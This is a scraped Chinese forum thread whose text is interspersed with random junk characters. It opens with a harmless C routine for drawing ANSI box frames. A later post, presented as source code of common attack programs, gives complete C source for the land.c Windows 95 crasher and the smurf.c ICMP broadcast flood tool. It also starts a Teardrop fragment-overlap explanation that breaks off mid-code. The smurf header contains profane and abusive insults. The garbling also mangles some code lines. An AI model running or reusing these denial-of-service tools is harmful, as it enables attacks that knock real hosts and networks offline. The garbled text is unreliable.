box(1,1,23,79);
+ b: k9 }. E( }, Ubox(2,2,21,77);) L4 e! H' o- e# T) T, \2 F
box(3,3,19,75);
+ {4 w( z' d0 @' z/ @7 i+ ?" Kbox(4,4,17,73);3 H  _8 ?' g# F/ M. K
box(5,5,15,71);
4 G) e! W, s" L, Rbox(6,6,13,69);
# n& P5 B0 s2 s6 H3 @box(7,7,11,67);0 Z& E: t  l- |; Y* Z
box(8,8,9,65);# y) G5 T: w9 Y6 A. g
box(9,9,7,63);# ~/ r4 \( p3 x
box(10,10,5,61);1 [. @+ N3 l; k
box(11,11,3,59);
  U7 F/ K1 s( j7 u7 L% D' s! Dbox(12,12,1,57);
) s  E/ B/ X7 k7 iposcur(24,1);
# X7 @+ O( h; k4 g. R6 @}</FONT></P><><FONT color=#009900>/************************************************************/ u* D  A0 l# s
* BOX *
6 p/ A# c, K* o9 ~; a*----------------------------------------------------------*
/ w" p0 U0 q2 u! U1 C% E: }/ t* Written by: Jeff Ebert 7/01/87 *+ ^) |( v! y" H  z$ s  p! ^
* Modified by: xxxxxxxxxx *
2 f+ ?: S# ^/ q( o$ V5 M" v' W3 b8 F5 {* *
) g- i* o" c7 ]9 {* Please modify me! *
( z$ I/ n& L1 c. l# g* Possible Enhancements include but are not limited t *
: W- N: |# i  p# b# j( t: V3 A* 1) Variable box character styles [1 line or 2] *5 f) x8 w% H& T% _/ ~4 U
* 2) Error checking *
6 \3 i( e- G; ~( g8 S1 c5 ^0 [* 3) Color options *0 M+ q$ n9 ?+ z; y; }) l  O; |  h
* *
2 _6 y- r& U0 u) G4 E2 _' \$ s$ ~7 Q7 |2 c* *
2 I6 R2 d  u* L* F( M, p' }# H* This function builds a simple double frame for a menu. *6 W% J1 T: }  }, D3 O3 u% j5 J
* The function is passed the parameters for the upper *
6 o% \( k& v3 F5 x8 T0 O1 H* left corner row, upper left corner column the height *6 T% S2 a8 s% f' p6 X3 U) p
* of the frame and the width. *
# O7 g9 b- j5 `; [) I( m* *$ C& }: U4 q# T8 E( a% z
************************************************************/
6 V" g' Y& R6 J) W#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
( \3 V0 d( D+ l" {4 ?#define URCOR 187. F3 J% c. i9 ?9 q8 m) h' Z7 z
#define LLCOR 200
  R% P0 T% @0 d) k* G3 v0 F#define LRCOR 188& h7 U. S/ k1 w: T6 ~; Z4 E
#define VBAR 186
, f6 D* k8 c7 m( E$ v. r& D+ D#define HBAR 205
4 a% ~1 b! _. U& @0 X' E3 M  q#define ESC 27</FONT></P><><FONT color=#009900>
- y( T8 B  j1 l4 S5 d) Y4 _. Xbox(row, col, hgt, wdth)
6 O( i5 K* h4 i0 H: O/ dint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
$ r4 Y0 P' R8 [$ ]  Hint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);/ K; l$ W0 C+ K) Q9 K9 w/ l
putchar(ULCOR);
( A) w; z* {( ^+ }4 @- L+ wfor(x = col + 1; x &lt;=(col + wdth -1); x++)2 s1 N; Z2 z2 y! ^  n( O
putchar(HBAR);2 r" C1 g: M  }# A, T
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
4 O7 V+ x4 P) b( V4 Kposcur(x,col);
9 `% t7 S6 z6 Sputchar(VBAR);
% @) Z$ m- I3 ~poscur(x,col+wdth);
4 F$ |4 q5 g2 ]4 k& G+ |1 Pputchar(VBAR);
# p# }2 t* L9 P}! y) p5 ~1 B: |" T! y4 q4 L# E
poscur(x,col);$ j- S5 F, S: A* X5 N
putchar(LLCOR);  H! A* C- T  E0 d/ w
for(x= col + 1; x &lt;=(col + wdth -1); x++)9 ^2 P! a7 L7 c# T
putchar(HBAR);' I" V3 R: @& V  G8 ?
putchar(LRCOR);
6 {  ?% v0 j6 k0 z0 d" e1 N}</FONT></P><><FONT color=#009900>/********************************************************8 S3 ?) }+ p# i) h
* POSCUR *' r6 |/ m# N0 e* {. M5 k6 y
*------------------------------------------------------*: ~& A! ^8 M5 F/ I( `; H
* This function positions the cursor at the specified *
, \. x: d& B' C% y8 d! [* x,y coordinate. It uses the ANSI standard ESCAPE *  R9 K$ ^" e4 Z: M% F4 N/ q
* sequence to produce the desired effect. Its not the *
/ a" [. l8 v+ x* fastest way to position the cursor, but perhaps the *
( ^: x) t& M) _* o- [  Q5 i* most portable. *# G! r# k! K  V1 b2 V& \
* *  Q1 F: q* {' P) @/ b- m& X  E0 o% g9 T
********************************************************/
) Y$ ^* n# h( G$ f5 P; C( hposcur(xcor,ycor)$ P0 _) l  F8 k1 l
int xcor,ycor;
/ N5 j& a& }2 f5 `9 r3 U{ 3 u0 k& B+ b6 e
printf("%c[%d;%dH",ESC,xcor,ycor);! D% P  c4 `# Q& `4 Y2 b0 P
}</FONT></P><><FONT color=#009900>
/ R$ Z3 g  q9 B. L- P/********************************************************/ F: T% F3 R$ u! s- I
* CLRSCR *3 B1 k, [( N  D3 R- Q* ~
*------------------------------------------------------*
+ j% R; @" D0 P8 F4 x7 K+ \" X* This function positions the cursor at the specified *
6 Y% N- U1 ]. `) n, Y; E9 C2 T* x,y coordinate. It uses the ANSI standard ESCAPE *
* {9 K  F* i1 V# x% P* sequence to produce the desired effect. Its not the *
4 N+ j. ~. A: R7 k& F) a7 J* fastest way to position the cursor, but perhaps the *9 M  i. i5 E9 ^5 B& `3 C( @
* most portable. *
; g# b% l  p0 ~6 i' b* *
+ E: W" u8 W' q4 P4 X********************************************************/8 z* I0 d0 ?6 s2 B  _/ B
clrscr()
3 l2 M! U) k: f6 W; J- r{ ' f5 ~$ R4 y9 w% p" e0 W
printf("%c[2J",ESC);) l4 |: ]5 E+ e" R4 S
}</FONT>
6 U: Q  Q, W' _! S+ k+ b9 I</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract* B4 \, g9 X" L7 {% E- r
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
; H. K: R- U6 f- @. W5 [4 Q己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
- M+ y" S4 u, H; H2 W<FONT color=#009900>/* land.c by m3lt, FLC
2 U1 ?/ F# Y/ F7 ]- p( b; m, B) acrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>' N& \! L/ S6 m7 V9 U( c' s
#include <NETDB.H>0 @% z" \* [. P% ^8 b
#include <ARPA inet.h>6 [/ b! L1 T( I8 [1 Z, _1 W
#include <NETINET in.h>
4 Y" x" K" k. w3 E: v1 R1 p5 n1 ~2 m#include <SYS types.h>1 p6 \+ h% e& s
#include <SYS socket.h>
5 }7 ^" g2 i! F: ^$ b#include <NETINET ip.h>
3 O$ [' p+ X+ F9 j9 `6 c; T#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头( u' \, {3 m( K6 o! }; B. ~
struct pseudohdr2 j, |8 N/ B2 \9 S8 n  I0 w7 m' L$ u
{
5 Q( ]" ?6 ~* i; b+ w$ F: @struct in_addr saddr;
/ g$ N1 b  c& Rstruct in_addr daddr;
: Z) Q1 Y- `- z0 G' \4 eu_char zero;
4 R. r6 q* d0 ^# k' Vu_char protocol;1 E% c6 q7 U6 l; v  \2 @8 g" m
u_short length;
( l* X& ^8 a; L& v) p# z$ [$ nstruct tcphdr tcpheader;
- C0 P8 F; s; V! u( t) u0 q};</FONT></P><><FONT color=#009900>//计算IP校验和$ |. }" e3 p- X
u_short checksum(u_short * data,u_short length)
, G: H/ f- w/ x: ]! {  @& E{) z7 X7 C7 C3 w" W, n
register long value;
# P% g5 x) C' S/ o$ a- L# qu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++), W5 A4 @$ z' w; `  P+ ^; q
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
/ Q: k( ^1 C! c1 {: H2 m. Jvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
# r) t1 Q4 Q( S}</FONT></P><><FONT color=#009900>
9 @: K! g) @* v3 R" w. yint main(int argc,char * * argv)# J. y) H' [& C" u
{! ^0 C  Z4 j7 O3 y
struct sockaddr_in sin;$ T. q( F9 T/ Q# N4 M
struct hostent * hoste;
5 r$ e# A% S1 i& V% _* zint sock;7 n. y0 h1 \/ V2 D
char buffer[40];
# n* j; `7 E  U" ~$ C4 O, e# k- Vstruct iphdr * ipheader=(struct iphdr *) buffer;
8 n5 f* H% v  u3 gstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
! v9 p) d. ~+ N! Dstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)& V* e& X3 p% @
{$ F) N: f/ a5 n6 o* u3 C2 C$ |' N
fprintf(stderr,"usage: %s IP port\n",argv[0]);
* s/ q' A0 C* k. q9 _7 Oreturn(-1);
8 b7 A  g% J7 f/ y) ^}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
+ N7 W; l# m  N4 i/ Xsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
/ ?: A: I! ?# nbcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);. ^6 T8 M! y; u
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)2 n. D  }& g9 e6 Q5 l
{& R# I$ A& w5 v$ i/ d* L. d8 f  D* s
fprintf(stderr,"unknown host %s\n",argv[1]);: e4 D" a6 g! Y" Q; k6 L
return(-1);
  W% t2 V$ g4 u/ Q. p. C}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)4 r8 m2 [5 p9 O3 K$ L# ]
{
. e2 [( G( [$ ^fprintf(stderr,"unknown port %s\n",argv[2]);. x0 `  R' E: t; A) ^
return(-1);
* B1 r  T8 m* b0 G, B5 u: p}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限2 {! [% E" ^" S  `) r
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
7 J/ N- W, A' K! G8 N. p{
0 L) h& H6 b* F2 I7 W! m" cfprintf(stderr,"couldn't allocate raw socket\n");
8 y. H5 _9 X' ]3 `. \* `return(-1);) i% ^! D* R& e
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));- X3 P% Y6 Z8 z% u
ipheader-&gt;version=4;
% g* o8 G, u; m0 a  |' ^& C; J% Y9 @ipheader-&gt;ihl=sizeof(struct iphdr)/4;! n: Z& W+ j& B0 w- A0 }5 N2 f
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
8 k* \4 }2 A# c0 |; _! jipheader-&gt;id=htons(0xF1C);: R$ ]: N- [+ O) t4 E
ipheader-&gt;ttl=255;- B9 w; T& N; ^" x+ M9 G# t
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同2 [" ]/ b1 Z: O9 J( H- C
ipheader-&gt;saddr=sin.sin_addr.s_addr;
5 I6 r& q. \4 }, r! }; Uipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
& \% P4 |0 i# K( T8 Gtcpheader-&gt;th_sport=sin.sin_port;
6 {1 P/ V0 N) g8 Q/ v  @tcpheader-&gt;th_dport=sin.sin_port;* l1 n- S7 g: L( g2 ^
tcpheader-&gt;th_seq=htonl(0xF1C);
& N' d3 k# z3 w& Btcpheader-&gt;th_flags=TH_SYN;
3 ]$ J+ }+ ~: Dtcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
# Q! t. ~" n! {4 U  ?& Ftcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));6 O% z5 k# w( M3 Y2 {/ W% C$ }
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;7 n  i2 N' g6 z) r& m$ z, R! _- t
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;9 ^6 J3 s' t2 w, S4 e* P2 }% a
pseudoheader.protocol=6;
9 X% M% {0 @* `pseudoheader.length=htons(sizeof(struct tcphdr));
  b1 X; M2 s& }- L0 Y) Cbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));! r; i: j# ~0 ~" b- O" v$ Q7 i# g
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
# r- A  }! A) j) m6 m, I4 f" r0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
3 e7 s, \4 n$ Q. ^( `{( @7 N0 n: `: s& |, }+ L
fprintf(stderr,"couldn't send packet\n");9 Z7 J8 ]! ^: k" \3 v
return(-1);8 P0 q$ |* N3 E4 r9 S
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
9 K4 {# |: Y, }) preturn(0);7 q) z- G2 l0 y7 J1 S" n
}</FONT></P><>8 G7 ^7 C1 E7 A4 z7 K. G
2 Smurf
! g9 n$ T( I% p, x8 Y  |: \smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
5 u$ o: @! ~( ~据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包  B* A! ]' {0 _" ~
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些6 h# X: v! [: n" q2 E
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
7 z! w2 j/ l, q+ j(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
6 M! O. ~# L% P+ ^成不可能(没有WINS服务器时)。</P><P>/*0 n: ~/ }+ S8 F* r
*
, `5 O7 B* q! i0 K* \- J4 R( g7 \2 F9 h* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $2 T5 O6 L$ Z" K( p. j: S# k
*" I: y9 R- U- |
* spoofs icmp packets from a host to various broadcast addresses resulting% o8 `! c" I( [) c& z% B3 Q
* in multiple replies to that host from a single packet.  g& ~- z: |* A( X, G: h0 ?7 e
*1 x( |& u8 ?. y% P! ~" O: {
* mad head t3 ~3 V" T: [/ G1 ^' K5 D4 g6 ^
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,9 J& T( n2 V: P$ c% c. n2 C& d
* MissSatan for swallowing, napster for pimping my sister, the guy that" L; V( \4 |* c6 S
* invented vaseline, fyber for trying, knowy, old school #havok, kain! \) e' E3 F  o3 @& x
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
2 _2 |$ Z( s7 o& q/ V5 j/ M# t7 H* have missed (you know who you are).8 t" O4 g& m& L5 I5 V
*" A8 j# I% _4 T- L) ]& ]
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy4 W0 \& G6 ^" i0 T8 J5 }
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
# r4 H3 _) m9 g2 a6 F' J* half the cheque).
/ t) D# g. y  ?* c*
9 N! @% p) _/ u7 Q: F; h: Z* and a special hi to Todd, face it dude, you're fucking awesome.8 U  r; |% L  y& H3 P$ b) w
*
: e8 U2 d+ }, r+ _* mad anal t$ n# a8 G. Z( V- Q
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps0 d" u$ P$ u4 N  l! a: ]
* because they plain suck, Rolex for being a twit, everyone that' E# y$ r( Y9 s# ~* J- q+ E
* trades warez, Caren for being a lesbian hoe, AcidKill for being her* Q9 @9 ^3 Z! e
* partner, #cha0s, sedriss for having an ego in inverse proportion to
0 h" B# E0 A8 T1 T; `* r6 N& Y* his penis and anyone that can't pee standing up -- you don't know what
. C8 P- l0 l$ u4 R, g* your missing out on., ]& J) ^, W- X4 U) ?; e
*
$ k. a: O. X- p% x/ S9 C* and anyone thats ripped my code (diff smurf.c axcast.c is rather2 H" P. |- s. P' U3 j  |
* interesting).! e$ p9 Q& g1 I" H" e' ]
*# F8 [& k3 |4 N8 m8 K* t- h6 S
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill" @# ^1 C/ x- }5 s( ~( E* U
* Robbins for trying to steal my girlfriend. Not only did you show me
/ ?4 `" @& ^3 f2 g  t' e* no respect but you're a manipulating prick who tried to take away the
9 g9 T9 p2 O  E* most important thing in the world to me with no guilt whatsoever, and2 b: }/ y6 l2 _7 L5 l2 A+ r
* for that I wish you nothing but pain. Die.. q7 h3 y" R# {" W) d6 ?; j6 W. |
*7 v7 D& T8 E7 A: {" K0 p; l
* disclaimer:
; s. I! G8 V: @" y7 N0 |1 ~* I cannot and will not be held responsible nor legally bound for the0 _3 X! _$ U  e( g6 r. n
* malicious activities of individuals who come into possession of this: a2 c& d2 F5 g3 N
* program and I refuse to provide help or support of any kind and do NOT2 O/ F$ V  D3 d" e- e0 V* w
* condone use of this program to deny service to anyone or any machine.3 {& [: s; |/ s% g( C
* This is for educational use only. Please Don't abuse this.
' z1 I$ O* a4 J) @*# x* N1 k5 t9 c' X3 ^; V7 o' _
* Well, i really, really, hate this code, but yet here I am creating another+ L6 g! n. X' [4 E
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,% K* m7 [) c9 t! ]/ s
* like most programmers don't like seeing bugs in their code. I saw a few. k' B; Q' p4 O9 n
* things that should have been done better or needed fixing so I fixed
5 L  X( v" C! k3 L8 W9 `0 x$ y# l7 c* them. -shrug-, programming for me as always seemed to take the pain away
" P5 G8 U# j8 E, B* ...
& y; }2 @# {4 ~7 _+ ^*
2 ?! n9 y% a  U9 ~# N*! [4 F& s! j% z. u6 }3 l
*/</P><P>#include <SIGNAL.H>
. {& x! ^& @% ]  ~( B#include <STDIO.H>6 f3 [: i3 B$ G/ Y3 B) z3 x
#include <STDLIB.H>
; [: G& N5 P( f: ~) ]: v4 ]#include <SYS socket.h>
3 z% x' n& c* w- F#include <SYS types.h>
( l, G# j% r* p  w#include <NETINET in.h>1 j4 {0 p- c- o) t: K- D( o, t
#include <NETINET ip.h>+ B3 `, i& y. Y, M& i* F& z5 [9 k
#include <NETINET ip_icmp.h>
+ @: c; ?4 `3 g7 g* O( |#include <NETDB.H>- q% p% {( w- M; V% g, q
#include <CTYPE.H>3 y1 H+ W" B) l  X# e# _
#include <ARPA inet.h>7 P# B( r+ s1 S' a
#include <UNISTD.H>( L$ a  p1 e) E: @4 E. M$ p+ p6 W' L
#include <STRING.H></P><P>void banner(void);5 w7 s! C9 C* B/ l
void usage(char *);
0 P! g3 l  z% ?1 R$ |* R0 X, ivoid smurf(int, struct sockaddr_in, u_long, int);% N- h, Q7 t& c  J
void ctrlc(int);
) w! C2 M! Y- D6 munsigned short in_chksum(u_short *, int);</P><P>/* stamp */
0 S* `5 F5 f& f( }8 wchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])5 ?/ X: K0 L: l( @3 z# b
{
8 e( B# |& N7 O3 g5 Y1 E9 y/ F7 \struct sockaddr_in sin;
# |& P6 [& T, \0 Xstruct hostent *he;
; e: Y" R8 A; m5 e" |( XFILE *bcastfile;
5 x* V$ T8 ~& Y4 }. v  k" Iint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
7 j: C9 \1 S. o- P5 {& U# \+ [char buf[32], **bcastaddr = malloc(8192);</P><P>banner();: Q" {" X+ S4 {; m5 k
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {% I  ]- B' }+ n0 O0 D" Y4 A
perror("resolving source host");
) }, C: K1 v3 y9 k7 `* N& ]exit(-1);" c# ~7 l/ y+ j0 p6 N, P0 s: g
}/ j5 t9 F& A* k8 B; s! k% F
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
3 E/ |- H5 }8 e% }+ r% z/ }sin.sin_family = AF_INET;& Y/ X2 [& R0 g) w+ j5 c
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);7 a0 v" X8 M0 J6 q
delay = atoi(argv[4]);
8 D/ e' r' W0 v: t' ~- ^pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {9 l/ O/ {" E" c& O% Y
perror("opening bcast file");
/ W+ {( }! P% X: @. C7 A; T, ]exit(-1);6 Z' B5 R; p! g( r0 b$ W& g
}  G* T' t3 R% S/ y% L1 O" ^
x = 0;' R' q- M* C7 O4 w6 k% ?( P2 Z7 @
while (!feof(bcastfile)) {
9 R% |6 E# X& I- K/ B& a# Ufgets(buf, 32, bcastfile);
+ ^0 Q0 e; n. Y" w! O1 Yif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
- R# Z: Y: ]1 N5 C8 vfor (i = 0; i &lt; strlen(buf); i++)
4 a# ?- J3 g( Kif (buf == '\n') buf = '\0';
/ {- Y' U, A1 m8 ?0 i5 O, zbcastaddr[x] = malloc(32);
# I% O* W9 ~  H) z5 astrcpy(bcastaddr[x], buf);
' r3 H" D- D" E/ X2 v& Ux++;
) ^; M' W" [- }' n) E) ?  T}& o. q9 R1 ]2 }# `+ L
bcastaddr[x] = 0x0;
+ j: A+ ^5 U% X, H4 ~5 M0 n' xfclose(bcastfile);</P><P>if (x == 0) {
  r: F6 q5 [4 v9 \fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
* o  X6 g4 v0 cexit(-1);, L! h; d8 q  H' H3 {8 Y
}3 t' ~' R: P- g- H* K7 l1 b# i; C
if (pktsize &gt; 1024) {6 h/ A& c  t. E0 c) ?* d
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
! ~* W0 x5 \9 P0 [' Iexit(-1);: {- r7 w  i8 [) {5 E
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
4 o, b4 t: s2 Eperror("getting socket");
8 @$ }; P1 y5 I6 a2 dexit(-1);# v7 _: h  a. k/ b8 H- L
}3 E9 c4 C( V3 W  m
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
; l: J, Y2 \9 Cif (!(i % 25)) { printf("."); fflush(stdout); }% Z" X0 c8 D6 ?& X* x9 [
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);6 R2 H4 b! L" y3 y
cycle++;
4 R% _9 Y# u7 R1 T) ^if (bcastaddr[cycle] == 0x0) cycle = 0;
8 F: ^. H" D; o( l+ u5 P3 Lusleep(delay);
  K, l( S* w0 P) w* i}& X& x+ u1 m) d2 L" Z( S+ j, I" g
puts("\n\n");
/ t2 h3 I- H/ @6 d: g5 ?( {5 breturn 0;
/ Z  P: p6 b/ {# g* Z/ `}</P><P>void banner (void)
0 G: ?# W3 u; E( C7 L8 e{  A; P9 U' F" ~% W' u6 W
puts("\nsmurf.c v4.0 by TFreak\n");
0 v6 R- `7 S7 T6 \/ r}</P><P>void usage (char *prog)4 |# ~" W# v* Z
{( |6 Q% _; q  j- f; C5 |
fprintf(stderr, "usage: %s <TARGET><BCAST file>"0 i, v: a1 x9 Q+ o- f
"<NUM packets> <PACKET delay><PACKET size>\n\n"# W* p. n6 m9 ~6 V3 O/ i
"target = address to hit\n"$ `$ d* I, _& G9 S1 B- B4 P
"bcast file = file to read broadcast addresses from\n"
4 p. _& w7 R: z( j- d8 N"num packets = number of packets to send (0 = flood)\n"
& P, L/ X& Y) Y$ u# z- p"packet delay = wait between each packet (in ms)\n"
! `  J3 {2 r! i* }"packet size = size of packet (&lt; 1024)\n\n", prog);& D' V( |1 Z9 \6 @, X0 ^
exit(-1);
& t4 L6 m. C7 S: m1 Y' `}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
# t( `6 P" n2 X) s; ^{# \3 n0 b" s4 ?! v: `
struct iphdr *ip;
4 S; j* i) ~$ C! g5 o" |struct icmphdr *icmp;
& I, a3 D: H/ W! Achar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
. k- D- H$ x3 x! e8 K1 v" ~ip = (struct iphdr *)packet;
9 H0 t" X  f  M3 L+ Gicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);: ]# ?* d8 x7 E! ~7 z
ip-&gt;ihl = 5;
1 i8 q0 a( [: s8 M9 d) L) rip-&gt;version = 4;* B. ^$ G4 }  o  B$ A
ip-&gt;ttl = 255;% ]  B* X3 g* z2 |5 u
ip-&gt;tos = 0;2 _8 t& w4 J* M- ^4 z0 ^8 O
ip-&gt;frag_off = 0;6 B. A: |5 h; j- J+ E5 m
ip-&gt;protocol = IPPROTO_ICMP;
, g% \5 N! [  e4 a' c2 dip-&gt;saddr = sin.sin_addr.s_addr;
, h8 ?  M, X7 a& f  r: v( qip-&gt;daddr = dest;+ s2 n/ ], B3 o, x. [1 z
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));% s8 J1 P2 Q2 M; V* {2 o* ]# o4 s/ g5 ~
icmp-&gt;type = 8;
# c. m" a6 X) T2 v8 Eicmp-&gt;code = 0;( l% B8 N+ |. W9 ~) b
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
* m- U5 J3 T2 o  f0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */. n1 P3 E$ c0 \$ l1 n' Z$ H" a
}</P><P>void ctrlc (int ignored)" m/ @0 L5 u( y) g
{
' T3 I# {- F( o8 @* u" \* jputs("\nDone!\n");
( G2 G! j( R) Z) h) [9 L" Fexit(1);' O- l$ L5 x" q8 Q6 p; }) @1 U
}</P><P>unsigned short in_chksum (u_short *addr, int len)
( d- ~" e' _* D% Z2 i{, h! t7 Y8 F: R9 O7 v+ }0 A
register int nleft = len;
0 ]: v  ~! c9 K3 w/ Aregister int sum = 0;
2 n1 B+ ^6 Q. ^# y! ^) F4 }u_short answer = 0;</P><P>while (nleft &gt; 1) {
/ B6 c+ d$ i) O' ssum += *addr++;
3 B8 `  ?. J9 v4 j4 y& }1 _$ Q8 \nleft -= 2;
* u, a8 B" b+ r: H; z* w7 l- A  ]% H}</P><P>if (nleft == 1) {
4 h: a2 |! [1 m*(u_char *)(&amp;answer) = *(u_char *)addr;
& a- J% S, O/ o! k5 Hsum += answer;1 ]1 k2 p: G+ g" p5 I9 p4 Q5 Z! ?- V. ]
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
  j5 R  \9 _  W/ p. }0 w' Wsum += (sum &gt;&gt; 16);
4 Q& q) T& [+ \answer = ~sum;
0 b- c4 F8 g' e, B6 {" o! ?- kreturn(answer);
6 q# p! t0 F! S! v1 ]2 {}</P><P>
0 b6 o, {$ I6 k* f4 [3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:1 m& l; e7 Z, r, B- n8 S& B6 u
fp = qp-&gt;fragments;: Y2 I! ~/ c  b# L! o
while(fp != NULL)
& W6 n8 `% q" g+ g{% D2 U, R) t0 |- G
if(count+fp-&gt;len &gt; skb-&gt;len)( u0 p' Y# \% N& ~
{
2 ]% S$ `8 s9 h# c- Cerror_to_big;. b7 t/ D# t; h3 S
}
+ d9 n+ q# ?" b! J# Kmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
- |# I( d$ l" rcount += fp-&gt;len;
' C) e( ?& E* O% x7 {9 G) lfp = fp-&gt;next;
0 e" R# C/ G3 g}' t6 b( ^- Z( k
这里只检查了长度过大的情况,而没有考虑长度过小的情况,7 ]* E6 i/ ]/ x8 A" I
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
3 o" J1 \) S: r* o% nend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)8 G* W; Y9 K) W  I6 ^
是这样处理的:
5 y3 ]9 a; V/ e6 W( R+ @if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
2 r! j" F/ B! \3 I" x- R: j: G{
9 }+ U# u) {5 [. Q' O* fi = prev-&gt;end - offset;: E' F  F7 \3 a6 j
offset += i; /* ptr into datagram */
4 |) W2 i/ @0 C1 k  Gptr += i; /* ptr into fragment data */& m& |, z4 |$ C* Z
